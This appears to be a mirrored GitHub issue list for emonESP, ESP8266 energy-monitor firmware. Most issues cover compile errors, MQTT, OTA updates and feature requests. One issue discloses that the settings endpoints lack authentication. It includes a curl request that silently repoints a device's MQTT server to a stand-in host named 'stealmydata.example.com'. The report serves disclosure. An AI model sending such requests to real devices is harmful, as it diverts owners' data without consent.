Giter VIP home page Giter VIP logo

emonesp's People

Contributors

chris1howell avatar danbates2 avatar davehun avatar fillycheezstake avatar fredm67 avatar glynhudson avatar jeremypoulter avatar mabi avatar myrddinmuse avatar pb66 avatar rexometer avatar slyremarks avatar trystanlea avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

emonesp's Issues

Compile error with Arduino IDE

Hi,
I'm trying to upload EmonESP firmware with Arduino IDE to a NodeMCU ESP-12E V3 but I get some errors that abort the process.

The following are the installed software versions:
-Arduino IDE 1.8.10
-esp8266 v. 2.4.2 (with 2.5.2 there are no upload errors but the board is not working)
-all libraries are loaded with the latest version

These are the errors:

libraries\ESPAsyncWebServer-master\WebServer.cpp.o: In function `std::__detail::_Nfa::_M_insert_subexpr_end(unsigned int, std::function<void (std::__detail::_PatternCursor const&, std::__detail::_Results&)> const&)':

C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: undefined reference to `std::__throw_regex_error(std::regex_constants::error_type)'

libraries\ESPAsyncWebServer-master\WebServer.cpp.o: In function `std::__detail::_Scanner<char const*>::_M_eat_escape()':

C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: undefined reference to `std::__throw_regex_error(std::regex_constants::error_type)'

C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: undefined reference to `std::__throw_regex_error(std::regex_constants::error_type)'

libraries\ESPAsyncWebServer-master\WebServer.cpp.o:(.text._ZNSt8__detail8_ScannerIPKcE10_M_advanceEv[_ZNSt8__detail8_ScannerIPKcE10_M_advanceEv]+0x6e): undefined reference to `std::__throw_regex_error(std::regex_constants::error_type)'

libraries\ESPAsyncWebServer-master\WebServer.cpp.o: In function `std::__detail::_Scanner<char const*>::_M_scan_in_bracket()':

C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: undefined reference to `std::__throw_regex_error(std::regex_constants::error_type)'

libraries\ESPAsyncWebServer-master\WebServer.cpp.o:C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: more undefined references to `std::__throw_regex_error(std::regex_constants::error_type)' follow

libraries\ESPAsyncWebServer-master\WebServer.cpp.o: In function `std::_Function_base::_Base_manager<std::__detail::_EndTagger<char const*, std::regex_traits > >::_M_init_functor(std::_Any_data&, std::__detail::_EndTagger<char const*, std::regex_traits >&&, std::integral_constant<bool, false>)':

C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: undefined reference to `std::__throw_bad_cast()'

libraries\ESPAsyncWebServer-master\WebServer.cpp.o: In function `std::__detail::_Compiler<char const*, std::regex_traits >::_M_atom()':

C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/StringArray.h:75: undefined reference to `std::__throw_bad_cast()'

C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(istream-inst.o): In function `__check_facet<std::ctype >':

/Users/igrokhotkov/e/ESPTools/crosstool-NG/.build/xtensa-lx106-elf/build/build-cc-gcc-final/xtensa-lx106-elf/libstdc++-v3/include/bits/streambuf_iterator.h:113: undefined reference to `std::__throw_bad_cast()'

C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(istream-inst.o): In function `std::istream::operator>>(int&)':

/Users/igrokhotkov/e/ESPTools/crosstool-NG/.build/xtensa-lx106-elf/build/build-cc-gcc-final/xtensa-lx106-elf/libstdc++-v3/include/bits/streambuf_iterator.h:113: undefined reference to `std::__throw_bad_cast()'

C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(locale-inst.o): In function `std::ctype const& std::use_facet<std::ctype >(std::locale const&)':

/Users/igrokhotkov/e/ESPTools/crosstool-NG/.build/xtensa-lx106-elf/build/build-cc-gcc-final/xtensa-lx106-elf/libstdc++-v3/include/bits/locale_classes.tcc:114: undefined reference to `std::__throw_bad_cast()'

C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(locale-inst.o):/Users/igrokhotkov/e/ESPTools/crosstool-NG/.build/xtensa-lx106-elf/build/build-cc-gcc-final/xtensa-lx106-elf/libstdc++-v3/include/bits/locale_classes.tcc:114: more undefined references to `std::__throw_bad_cast()' follow

C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(ios-inst.o):(.literal._ZNSt9basic_iosIcSt11char_traitsIcEE5clearESt12_Ios_Iostate[_ZNSt9basic_iosIcSt11char_traitsIcEE5clearESt12_Ios_Iostate]+0x4): undefined reference to `std::__throw_ios_failure(char const*)'

C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(ios-inst.o): In function `std::basic_ios<char, std::char_traits >::clear(std::_Ios_Iostate)':

/Users/igrokhotkov/e/ESPTools/crosstool-NG/.build/xtensa-lx106-elf/build/build-cc-gcc-final/xtensa-lx106-elf/libstdc++-v3/include/bits/basic_ios.tcc:122: undefined reference to `std::__throw_ios_failure(char const*)'

Multiple libraries were found for "Hash.h"
C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(c++locale.o):(.literal.ZNSt6locale5facet18_S_create_c_localeERPiPKcS1+0x4): undefined reference to `std::__throw_runtime_error(char const*)'

Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\Hash
Multiple libraries were found for "ESP8266WiFi.h"
Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\ESP8266WiFi
Multiple libraries were found for "ESP8266HTTPClient.h"
Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\ESP8266HTTPClient
Multiple libraries were found for "ArduinoOTA.h"
C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2/tools/sdk/lib\libstdc++.a(c++locale.o): In function `std::locale::facet::_S_create_c_locale(int*&, char const*, int*)':

Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\ArduinoOTA
Multiple libraries were found for "ESPAsyncTCP.h"
Used: C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncTCP-master
Multiple libraries were found for "ESPAsyncWebServer.h"
Used: C:\Users\Walter\Documents\Arduino\libraries\ESPAsyncWebServer-master
Multiple libraries were found for "ESP8266httpUpdate.h"
Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\ESP8266httpUpdate
Multiple libraries were found for "EEPROM.h"
/Users/igrokhotkov/e/ESPTools/crosstool-NG/.build/xtensa-lx106-elf/build/build-cc-gcc-final/xtensa-lx106-elf/libstdc++-v3/src/c++98/c++locale.cc:207: undefined reference to `std::__throw_runtime_error(char const*)'

Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\EEPROM
collect2.exe: error: ld returned 1 exit status

Multiple libraries were found for "PubSubClient.h"
Used: C:\Users\Walter\Documents\Arduino\libraries\PubSubClient
Multiple libraries were found for "ESP8266mDNS.h"
Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\ESP8266mDNS
Multiple libraries were found for "DNSServer.h"
Used: C:\Users\Walter\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.4.2\libraries\DNSServer
exit status 1
Error compiling for board NodeMCU 1.0 (ESP-12E Module).

I think there is a problem with the async library.
How can I solve this problem?

Thanks in advance for your help.

Static IP

It would be nice to have be an option to select between DHCP and static IP-configuration.

Includes missing

Hi
Just downloaded and will not compile
webserver.h has 2 includes not in git files
<ESPAsyncTCP.h> <ESPAsyncWebServer.h>

emonESP dev. :: SPIFFS with SD card

@jeremypoulter
Hi Jeremy, I'm modifying a version of emonESP for my emonDC board. I was hoping for your input on a decision I have to make.

I'm logging data to an SD card, using the ESP8266.

The firmware has class conflicts between the SPIFFS filesystem and the SDCard filesystem libraries. I've tried changing all the class definitions in the .h and .cpp file of the SD card lib to no avail.

So I have three possible paths.

  1. Move all the SPIFFS files to the SDcard and run emonESP from an SD card.
  • The main disadvantage is requiring an SD card to run the basic program, a limitation I don't want.
  1. Get SD card and SPIFFS working alongside each other. The best resource I've found to change the emonESP firmware is this: esp8266/Arduino#1524 (comment)
  • A brief go at this method I couldn't make work because the function names differed I think.. I'll have another go at getting this working..
  1. Write to a datalogging file in the SPIFFS and provide a way to download the file in emonESP.
  • I imagine memory space to be the limitation here.

Default values get overwritten... wrong behaviour

Start with a "blank" chip, with default config. "ctrl_mode" defaults to "Off".
At the end of setup(), ctrl_mode is "Off".
After a couple of loop(), it turns to "On".
I'm still searching where the variable gets changed.

No ability to change the serial baudrate

The serial port in the normal use case with single phase monitoring only works on 115.200 and this value is hardcoded in the firmware; 3phase emonTX requires 9600 bps serial speed and that's the only reason 3phase owners need to compile custom firmware. It would be nice to have a checkbox to switch between the 2 serial speeds (or a dropdown list if there are other use cases which require a different value).

What is the purpose of the 'ctrl_update' variable ?

This variable appears on app_config.cpp line 65 (declaration + init), and in src.ino on line 197 (check for true/false) and on line 200 (set to false).
I couldn't find any line where this variable is set to true !

AP mode vs SSID search & connect mode.

What is the behaviour of emonESP in AP mode?
I've had an issue with a device having intermittent WiFi and the ESP not reconnecting.
Does emonESP, once in AP mode, give up trying to establish a connection to the chosen WiFi network?

Factory reset of EEPROM data through GPIO0

If settings have been made on emonESP which make it difficult to use (wifi settings) or impossible to access (forgotten admin username and password) it would be very useful to enable a factory reset by holding down GPIO0 after boot.

I've seen this feature elsewhere on ESP devices. It's possible because the state of GPIO0 is only critical during boot, after which it can be used as a digital input, for example by initiating a factory reset after say, 5s of holding down.

Release 3.1.0 on SonOff Basic WIFI switch

I'm trying to use the 1MB version of the emonesp on a sonoff basic wifi switch (no energy monitoring version),

The code flashes and runs, I can connect to the AP and get it to connect to my wifi, it has also been detected by DemandShaper in emoncms.

Sometimes the switch just reboots itself and flashes the green LED. If I can get the device to be stable for a little while I can't save the settings from the control panel on the device.

I'm using the precompiled smartplug.bin

Any ideas?

Improve the robustness of serial comms with EmonESP

The current serial protocol is really only designed to for human interaction. It would be good to enhance to these to better support working with the EmonESP.

The current issues I am seeing is rebooting the EmonESP can change the EmonTx settings and likewise if the EmonTx reboots or you use it interactively (via the changes in #74 ) the output of the EmonTx can be parsed as an input string.

What would be nice would be to send (proper) JSON objects both as the EmonTx output and for sending commands to the EmonTx. Alternatively a slightly less drastic approach could be to start output/commands with a specific char and add a checksum at the end, similar to how RAPI works on the OpenEVSE

Prefer radio button rather than check box when selecting network

I setup a wifi repeater at home and the broadcasted SSID from both routers (same SSSID) are showed up on emonESP network selection screen.

As shown in the below screenshot, I can select both SSIDs. Not sure why, maybe it is because both SSID are identical.

Not a big deal, but it would be better if the UI implements radio button rather than check box, so only one network that can be selected at a time.

image

HTTPS + Not using emoncms.org + /emoncms = Doesn't work

If I use https://example.com/emoncms as my EmonCMS server, I can't use HTTPS.

It's because when trying to connect to Server, uses "example.com/emomcms" has "host", and
client.connect(host, httpsPort) fails.
If I put "/emoncms" at the beginning of "e_url", and leave "host" as "example.com" it works!

Maybe an input box to put the server url, will help.

Docs update and request for MQTT Client ID prefix

Hey there :-)

I just bought an emonTX and got it working with emonESP on a esp8266 huzzah.

The shop was out of stock at the time, so I had to get one elsewhere and set it up myself - I got there eventually but there's a couple of things that could do with updating in the docs to help newbies like me :-)

  1. ESPAsyncTCP and ESPAsyncWebServer libraries are needed now it seems, I downloaded those as a .zip and used the library manager to add them manually as they didn't seem to come up in the library manager list.

  2. It would be worth mentioning that after the sketch compile and upload the board exits bootloader mode and runs the sketch. Trying to upload the "data" part caused a bit of head scratching as it kept failing. I had to put the board back into bootloader mode to get the data part to upload. Not sure if that's expected or not, but might be worth mentioning.

Finally a request if possible! Can an MQTT Client ID prefix be added to the config web page and used as part of the Client ID string? I tend to have all my MQTT stuff with Client Id prefixes as it adds an extra layer of security plus it makes it easier to scan a long list of client connections for set prefixes.

Thanks!

Martyn

Possible to change settings with no user/password

The endpoints to save the settings do not have any checks to validate the username/password;

  server.on("/savenetwork", handleSaveNetwork);
  server.on("/saveemoncms", handleSaveEmoncms);
  server.on("/savemqtt", handleSaveMqtt);

So you could do something like this;

curl 'http://172.16.0.72/savemqtt' -H 'Origin: http://172.16.0.72' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-GB,en-US;q=0.8,en;q=0.6' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' -H 'Content-type: application/x-www-form-urlencoded' -H 'Accept: */*' -H 'Referer: http://172.16.0.72/' -H 'Connection: keep-alive' --data '&server=stealmydata.example.com&topic=jeremypoulter/f&prefix=test-&user=&pass=' --compressed

and this will change the MQTT server without asking for credentials.

MQTT no data

Hello,

I just installed brand new EmonTX v3 with EmonESP Huzzah.
I'm having issue with recieving data through MQTT.
According to MQTTFX, the emonesp is connected to the server, but there is no log recieving any data at all. The base-topic is set to: emon/emonesp
MQTTFX is subscribed to: emon/emonesp/CT1
image

I'm getting values on the emonesp webserver, there are no units next to values by the way, as the
picture shows in the tutorial. It's just a small thing, but I need it there.
image

Can someone help me with this?
Thanks

emoncms_path is missing

It looks like the emoncms path is missing from both app_config.cpp and emoncms.cpp.

I have created a pull request that should fix this issue (at least it did for me). #85

SPIFFS log error en version 3.0.0

When I download the firmware.bin and spiffs.bin from the last release (V3.0.0) and the esp creates a AP the html output that I can read from the device which is connected to espwifi_xxxx network the following error:

/home.html not found, have you flashed the SPIFFS?

Meanwhile with the previous version (V2.3.0 | Misc Bug Fixes) everything works fine, so I think that the spiffs.bin is the problem and I dont figure out how to compile by my selft to confirm the issue.

Best regards

State is not published to MQTT when smartplug is controlled via MQTT

When the smartplug is controlled via the web UI the state correctly updates on MQTT e.g

Topic: <basetopic>/<smartplugID>/out/ctrlmode
Message: On or Off

However, if the smart plug is controlled via MQTT e.g

Topic: <basetopic>/<smartplugID>/in/ctrlmode
Message: On or Off

The status out topic does not update, the http JSON /status always return the correct statue. Having the correct state always available via MQTT would be very useful for integration with other control systems e.g Home Assistant

Hardware connection documentation needed

Glynn,

On the readme there isn't any documentation of how to hook one of these things up to an emonTX.

Think this is an essential part that should be documented here.

I also mentioned on the community that there should be pointers from the new guides etc. to this section of github.

Simon

To do:

Firmware Update

  • fix stream timeout error esp8266/Arduino#1676
  • Fix hang after update (fixed by unmount spiffs and restart unit after serial upload)
  • Update spiffs filesystem over OTA
  • Sign binary to verify update, esp8266/Arduino#2103
  • [x ] manual .bin upload via web interface
  • ATmega328p update from ESP, AVRdude pass through

Connectivity

  • [x ] MQTT

Security

OTA Update ESP8266

OTA updating of ESP8266 firmware and ATmega328 (connected via serial) is highly desirable. Here are a collection of examples covering ESP8266 firmware update. AVR pass-through update will be explored in another issue.

OTA Update to ESP8266

Pulling update from a web server

Via web interface

image


Maybe we could combine both: Updating pulling from a cloud server triggered by the user hitting update in a web interface with option to upload .bin if contact with the server is not possible or custom firmware is required.

Latest version (master) goes into bootloop on WemosD1 Mini

Hello,

The latest version built from dev goes into a boot loop on a Wemos D1 mini.

Version 2.3.3 works fine

Both versions will report SSIDs found on the serial console, but none will be shown in the web gui to join, I had to enter mine manually into config.cpp, after which it worked fine.

If you need help debugging on this hardware, please let me know,

Time is wrong...

I've added a line to print the current time on serial, line 141 of src.ino (just before Free memory output).
On the first call, I get allways a time around 18:12... on subsequent call, I get something else which is totally wrong !!!
Here's the log:
WiFi dissconnected: WIFI_DISCONNECT_REASON_ASSOC_FAIL
Connected to Freebox-VFA
Time now: 18:12:40
Free memory 31160 - diff 672 672
Connected, IP: 192.168.1.163
Time now: 09:25:43
Free memory 29288 - diff 1872 2544
Time now: 09:25:45
Free memory 29952 - diff -664 1880

When trying the esp-built-in time (see https://github.com/esp8266/Arduino/blob/61cd8d83859524db0066a647de3de3f6a0039bb2/libraries/esp8266/examples/NTP-TZ-DST/NTP-TZ-DST.ino), I get the right time using the time() function.

Show debug outputs on emonESP website.

Hi!

Would it be possible to show the debug outputs from both (emonTX3 and emonESP) serial ports on the website?

That would make troubleshooting a lot easier.

Best regards
jodli

Some part of the UI shown even should be hidden...

In the home.html, both groups "Latest Data" and "Control" should be hidden when status.isWifiClient is false.

I think, the data-bind="visible should be on the parent element. It seems the style.display property overwrite the data-bind.

More than one package has been found by NTPClient @ 3.1.0

When compiling the packages for the first time, platformio warns

Library Manager: Installing NTPClient @ 3.1.0
Library Manager: Warning! More than one package has been found by NTPClient @ 3.1.0 requirements:
 - arduino-libraries/NTPClient @ 3.1.0
 - mbed-dietergraef/NTPClient @ 0.0.0-alpha+sha.584a18640e84
 - mbed-kkempeneers/NTPClient @ 0.0.0+sha.537dcd4ff837
 - mbed-ibiltari/NTPClient @ 0.0.0+sha.f31bb718d362
 - mbed-vpcola/NTPClient @ 0.0.0+sha.0b96fbd7cfca
 - mbed-kubegmbh/NTPClient @ 0.0.0+sha.c2440e1c92cc
 - mbed-robot-arm-demo-team/NTPClient @ 0.0.0+sha.9a7b8df5fad7
 - mbed-lmussier/NTPClient @ 0.0.0+sha.175284afeb38
 - mbed-st/NTPClient @ 0.0.0+sha.2ac816b0f4ab
 - mbed-ban4jp/NTPClient @ 0.0.0+sha.15c04f752381
Library Manager: Please specify detailed REQUIREMENTS using package owner and version (showed above) to avoid name conflicts
Library Manager: NTPClient @ 3.1.0 has been installed!

Changing platformio.ini to use "arduino-libraries/NTPClient @ 3.1.0" instead of "NTPClient @ 3.1.0" fixes the problem.

Support secure MQTT

My broker only supports “secure MQTT”, on port 8883. Could support for secure MQTT be added? Should also support fingerprint verification as well.

First Boot : authentication required

Hello, I flashed the ESP8266 according to instructions and also uploaded the files in "data". ESP starts and displays the AP emonESPxxxxxxx. I connect and go to 192.168.4.1. It then asks me user id and password.

What should I enter here ? I was expecting a first page where I need to sleect a WIFI access point and password.

If I don't enter user Id and password (blank/blank) then I get to a screen that says :
emonESP
WiFi Emoncms Link

Loading, please wait ...
Powered by OpenEnergyMonitor.org
Powered by OpenEnergyMonitor.org

However nothing happens after this ....

Thanks for your support !

Tony

MQTT host IP address incorrect in debug

The MQTT host IP address shown in the debug output is incorrect. See screenshot below, the correct IP address is 192.168.86.24, the correct address is being used by the ESP since the MQTT server is connected and working. However the IP address is slightly incorrect in the debug window:

Screenshot 2020-10-06 at 01 03 45

@jeremypoulter

[ERROR]: Bad Answer: ERR: ERROR[4]: Not Enough Space

Hi,

I've tried to compile and upload from both the master branch and the latest release. I followed the README.md OTA instructions to compile and upload for both PlatformIO and ArduinoIDE.

PlatformIO version: 4.2.1
Arduino ESP boards version: 2.5.0

Both methods resulted in the same "Not Enough Space" error message

> pio run -t upload --upload-port <emonesp-local-ip>

Warning! `env_default` configuration option in section [platformio] is deprecated and will be removed in the next release! Please use `default_envs` instead
Processing emonesp (platform: [email protected]; framework: arduino; board: esp01_1m)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Verbose mode can be enabled via `-v, --verbose` option
CONFIGURATION: https://docs.platformio.org/page/boards/espressif8266/esp01_1m.html
PLATFORM: Espressif 8266 1.8.0 > Espressif Generic ESP8266 ESP-01 1M
HARDWARE: ESP8266 80MHz, 80KB RAM, 1MB Flash
PACKAGES: 
 - framework-arduinoespressif8266 2.20402.4 (2.4.2) 
 - tool-espotapy 1.1.3 
 - tool-esptool 1.413.0 (4.13) 
 - tool-mkspiffs 1.200.0 (2.0) 
 - toolchain-xtensa 1.40802.0 (4.8.2)
Converting src.ino
LDF: Library Dependency Finder -> http://bit.ly/configure-pio-ldf
LDF Modes: Finder ~ chain, Compatibility ~ soft
Found 31 compatible libraries
Scanning dependencies...
Dependency Graph
|-- <PubSubClient> 2.6
|-- <ESP Async WebServer> 1.1.1
|   |-- <ESPAsyncTCP> 1.2.2
|   |   |-- <ESP8266WiFi> 1.0
|   |-- <Hash> 1.0
|   |-- <ESP8266WiFi> 1.0
|-- <NTPClient> 3.1.0
|-- <ESP8266WiFi> 1.0
|-- <EEPROM> 1.0
|-- <ESP8266HTTPClient> 1.1
|   |-- <ESP8266WiFi> 1.0
|-- <ArduinoOTA> 1.0
|   |-- <ESP8266WiFi> 1.0
|   |-- <ESP8266mDNS>
|   |   |-- <ESP8266WiFi> 1.0
|-- <ESP8266httpUpdate> 1.2
|   |-- <ESP8266HTTPClient> 1.1
|   |   |-- <ESP8266WiFi> 1.0
|   |-- <ESP8266WiFi> 1.0
|-- <ESPAsyncTCP> 1.2.2
|   |-- <ESP8266WiFi> 1.0
|-- <Hash> 1.0
|-- <DNSServer> 1.1.0
|   |-- <ESP8266WiFi> 1.0
|-- <ESP8266mDNS>
|   |-- <ESP8266WiFi> 1.0
Building in release mode
Compiling .pio/build/emonesp/src/src.ino.cpp.o
Retrieving maximum program size .pio/build/emonesp/firmware.elf
Checking size .pio/build/emonesp/firmware.elf
Advanced Memory Usage is available via "PlatformIO Home > Project Inspect"
RAM:   [=====     ]  45.8% (used 37488 bytes from 81920 bytes)
Flash: [========= ]  87.2% (used 435944 bytes from 499696 bytes)
Configuring upload protocol...
Looking for upload port...
Use manually specified:  <EmonESP-Local-IP>
Uploading .pio/build/emonesp/firmware.bin
16:59:50 [DEBUG]: Options: {'esp_ip': ' <EmonESP-Local-IP>', 'host_ip': '0.0.0.0', 'esp_port': 8266, 'host_port': 10531, 'auth': '', 'image': '.pio/build/emonesp/firmware.bin', 'spiffs': False, 'debug': True, 'progress': True, 'timeout': 10}
16:59:50 [INFO]: Starting on 0.0.0.0:10531
16:59:50 [INFO]: Upload size: 440096
Sending invitation to <EmonESP-Local-IP>
16:59:50 [ERROR]: Bad Answer: ERR: ERROR[4]: Not Enough Space

Arduino Ctrl+U (port: <emonesp-local-ip>)
image

Instructions to connect to EmonCMS don't explain "Node Name"

The instructions show an image of the EmonESP screen settings to connect to a EmonCMS with a Node Name of 2. There is no explanation as to what this is. Is this current? Is it supposed to be a name that matches the nodes in the EmonHub config?

Updater for Sonoff, flash size limitation.

The 1MB flash size on the sonoff makes it tricky to upload an update .bin file, as the updater I've found and integrated seems to require 50% free space.

Is there a way to update the flash with a .bin greater than 50% of the flash size? Off the top of my head, it would be risky because there's no way to guarantee the transfer of data over WiFi for the duration of the flash, so a sketchy wifi connection would soft-brick a sonoff.

@jeremypoulter does this sound right? It might be the case the updater is ditched for the sonoff.

Manuel input for network

It would be nice if the emonESP would have an input field where I could do input of the following:
1: SSID (hidden not transmitting)
2: No dhcp (manual input of IP-address)
3: subnet
4: gateway

Add a 'last will' availability topic to MQTT

When integrating other third party consumers using MQTT, there is currently no way of knowing whether the EmonESP is online or not. I'm pulling data into my HomeAssistant instance and if the EmonESP goes offline, the last received value is assumed to still be correct. This causes things like integration functions to produce incorrect results with no indication that they are wrong.

This is commonly solved by adding an availability topic that indicates whether the device is online. When connecting to the broker, a 'last will' message can be provided which would be to set the availability topic to it's offline state. That means that the broker would send the offline availability payload if the connection unexpectedly closed.

The MQTT library used has support for this in it's connect() function, so it's a very minor change.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.